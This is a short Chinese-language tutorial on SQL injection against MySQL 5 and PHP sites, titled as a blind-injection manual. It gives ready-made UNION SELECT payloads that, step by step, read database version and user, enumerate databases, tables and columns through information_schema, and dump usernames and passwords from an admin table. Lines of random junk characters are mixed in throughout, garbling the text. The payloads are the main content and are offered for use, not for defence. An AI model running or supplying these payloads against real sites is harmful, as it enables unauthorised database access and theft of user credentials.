mysql盲注手册

admin

教程内容:Mysql 5+php 注入
* {! Y3 z: D  O
* m) `$ M6 F8 w. M

$ n8 p3 \6 ^8 Q3 e' {5 B! R一.查看MYSQL基本信息(库名,版本,用户)

and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
, ~+ C. L1 F/ ~+ w7 h8 o! H
1 n+ g) T8 @7 d8 a$ y0 h1 i二.查数据库
0 I% O, ]6 b7 e
  l+ F& K/ g2 Q' `" S# w8 Qand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

+ g# q/ j0 V4 C# Z- J$ ^# d三.暴表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

) X% W* D* a$ B8 f! Blimit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
1 a% i( S7 r- ]
  V5 I, V* D/ q5 S4 G# X' S3 r8 [; E四.暴字段

and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
; u0 U0 F+ y# i% ~1 ]% c
limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

五.暴数据
" u5 f* ?1 d3 h4 N* E+ W* B1 `
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*

6 J2 n3 O$ }) G- Q  ^
这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。